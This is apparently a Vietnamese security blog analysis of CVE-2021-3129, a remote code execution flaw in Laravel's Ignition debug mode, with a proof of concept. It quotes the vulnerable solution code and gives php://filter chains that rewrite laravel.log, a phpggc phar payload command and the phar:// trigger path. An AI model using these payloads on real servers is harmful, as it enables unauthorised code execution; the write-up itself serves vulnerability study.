PHÂN TÍCH VÀ XÂY DỰNG POC KHAI THÁC CVE-2021-3129

14/09/2021

Cách thức khai thác lỗ hổng CVE-2021-3329
[+] Giới thiệu:
CVE này nói về 1 lỗ hổng của của chức năng debug mode trong lavarel famework. Chúng ta có thể RCE thông qua việc dùng protocal phar cho file ./storage/logs/laravel.log
Điều kiện: Laravel <= v8.4.2, Ignition <= 2.5.1 và website đã bật debug mode. 
[+] Phân tích:
Đầu tiên là nói về Ignition là công nghệ trình báo lỗi của lavarel, rất tiện lợi cho developer trong việc debug cũng như fix bug của website. Nó sẽ phỏng đoán và đưa ra các solution để fix bug.

 
anh-bia-(1).png
Hình 1. Ignition nó sẽ thông báo bug là missing key

 
Như đã thấy thì Ignition nó sẽ thông báo bug là missing key, và khi chúng ta nhấn vào Generate app key thì nó sẽ tạo tự tạo key cho chúng ta, và chúng ta thử bật burp, để xem gói tin của nó như thế nào.
 
anh-2.png
Hình 2. tìm file GenerateAppKeySolution.php để thực hiện nạp key vào

 
Thì khi nhấn vào nó sẽ tìm file GenerateAppKeySolution.php để thực hiện nạp key vào.
- Nhưng ngoài solution tạo key này, còn có nhiều solution khác:

 
anh-3.png
Hình 3. MakeViewVariableOptionalSolution.php không được ràng buộc kỹ
  • Và trong số các solution có MakeViewVariableOptionalSolution.php không được ràng buộc kỹ, cho nên chúng ta có thể exploit chổ này. Và thử phân tích source code bên trong nó.
Đầu tiên ta sẽ xem cách mà controller gọi solution này và chỗ mà chúng ta có thể exploit.
<?php
 
namespace Facade\\Ignition\\Http\\Controllers;
 
use Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest;
use Facade\\IgnitionContracts\\SolutionProviderRepository;
use Illuminate\\Foundation\\Validation\\ValidatesRequests;
 
class ExecuteSolutionController
{
    use ValidatesRequests;
 
    public function __invoke(
        ExecuteSolutionRequest $request,
        SolutionProviderRepository $solutionProviderRepository
    ) {
        $solution = $request->getRunnableSolution();
 
        $solution->run($request->get('parameters', []));
 
        return response('');
    }
}
Dễ dàng thấy được, khi controller excute 1 solution thì tự động nó sẽ gọi tới run function và biến parameters chúng ta có thể controller. Tương ứng với việc khi call MakeViewVariableOptionalSolution.php thì nó sẽ gọi tới MakeViewVariableOptionalSolution::run().
<?php
 
namespace Facade\\Ignition\\Solutions;
 
use Facade\\IgnitionContracts\\RunnableSolution;
use Illuminate\\Support\\Facades\\Blade;
 
class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...
    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }
 
    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
       
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
 
        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));
 
        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
 
        if ($expectedTokens !== $newTokens) {
            return false;
        }
 
        return $newContents;
    }
 
    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }
 
        return $expectedTokens;
    }
}
- Trong run function này nó sẽ gọi đến makeOptional function, và chúng ta dễ dàng trigger được phar deserialize thông qua file_get_contents (phar://)
- Và idea là khi chúng ta truyền giá trị vào $parameters['viewFile'] chẳng hạn như abc thì file log trong laravel sẽ ghi lại thống báo lỗi. thì dự vào đây chúng ta có thể clear file log và convert context của nó thành file phar. Từ đó dùng phar:// protocal để trigger được PHAR DESERIALIZE → RCE. 

[+] PoC:
  • Đầu tiên là clear được file log trong ./storage/logs/laravel.log bằng : file_get_content('php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log'
     
anh-4-(1).png
Hình 4. clear được file log trong ./storage/logs/laravel.log

 
cat file log:
 
anh-5-(1).png
Hình 5. cat file log

 
- Convert context laravel.log theo ý mình muốn, thì phải tìm cái format của file log.
- Format có file log có đạng:
[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]
Đầu tiên là ta sẽ add prefix vào trước:

 
anh-6.png
Hình 6. add prefix

 
Đọc nội dung File Log:
- cat file log:

 
anh-7.png
Hình 7. cat file log

- Add payload :  Để thuận tiện hơn ta có thể dùng phpggc tool để tạo payload phar, chuyển sang dạng =50.....=00 để dễ dàng convert context file log.
php -d'phar.readonly=0' ./phpggc monolog/rce1 system 'id' --phar phar -o php://output | base64 -w0
- Tiếp theo dùng File Script Python để chuyển đổi định dạng Payload:
import base64
1-(2).png
2.png
3.png
1-(1).png
1.png
anh-8.png
Hình 8. dùng code python để chuyển đổi định dạng
cat file log:
 
anh-9.png
Hình 9. cat file log

CONVERT CONTEXT LOG TO PHAR :
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

 
anh-10.png
Hình 10. convert context log to phar
Đọc nội dung file Log:
- cat file log:

 
anh-11.png
Hình 11. cat file log

 
-> Đã thành công
[+] Execute Payload to RCE:
Payload: phar:///src/storage/logs/laravel.log/test.txt

 
anh-12.png
Hình 12. Excute file log để rce

 
Những công cụ được sử dụng:
- Laravel <= v8.4.2
- REFERENCES
Theo đường dẫn